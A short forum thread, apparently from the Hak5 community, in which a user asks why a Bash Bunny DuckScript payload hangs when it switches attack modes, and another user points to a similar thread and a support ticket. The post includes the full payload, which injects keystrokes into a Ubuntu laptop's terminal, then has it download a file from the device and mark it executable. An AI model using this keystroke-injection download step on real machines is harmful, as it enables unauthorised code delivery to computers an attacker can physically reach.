fiftyup Posted June 22 Share Posted June 22 Hey all! I'm having issues starting my payload in ATTACKMODE HID, then switching to ATTACKMODE HID ECM_ETHERNET. When I do this, my DuckScript pauses for ~20 seconds, then continues the DuckScript without connecting to my BB, so I'm unable to download/wget a file from the BB. Context: I need to start in "HID" to get the default network interface to perform a tcpdump (BB becomes the new default interface when in ECM_ETHERNET mode). Target is Ubuntu 14.04 on a laptop. Any guidance? LED SETUP ATTACKMODE HID GET SWITCH_POSITION GET HOST_IP GET TARGET_IP cd /root/udisk/payloads/$SWITCH_POSITION/ LED SPECIAL ### Open terminal Q CTRL-ALT t Q DELAY 2000 Q STRING "iface=\$(route | grep '^default' | grep -o '[^ ]*\$')" Q ENTER Q DELAY 500 Q STRING echo \$iface Q ENTER Q DELAY 2000 #################################### #### SCRIPT HANGS AT THIS POINT #### #################################### ATTACKMODE HID ECM_ETHERNET # start BB server iptables -A OUTPUT -p udp --dport 53 -j DROP python -m SimpleHTTPServer 80 & # wait until port is listening while ! nc -z localhost 80; do sleep 0.2; done LED ATTACK ### Get file Q STRING wget "http://$HOST_IP/file" Q DELAY 1500 Q STRING chmod +x file Q ENTER Q DELAY 150 Quote Link to comment Share on other sites More sharing options...
Solution dark_pyrro Posted June 22 Solution Share Posted June 22 Could be related to what's discussed in this thread https://forums.hak5.org/topic/60545-changing-attack-modes/ Not exactly the same attackmodes, but the same issue (i.e. switching attackmodes). Same suggestion as in that thread = submit a support ticket Quote Link to comment Share on other sites More sharing options...
fiftyup Posted June 22 Author Share Posted June 22 Thanks! Will do Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.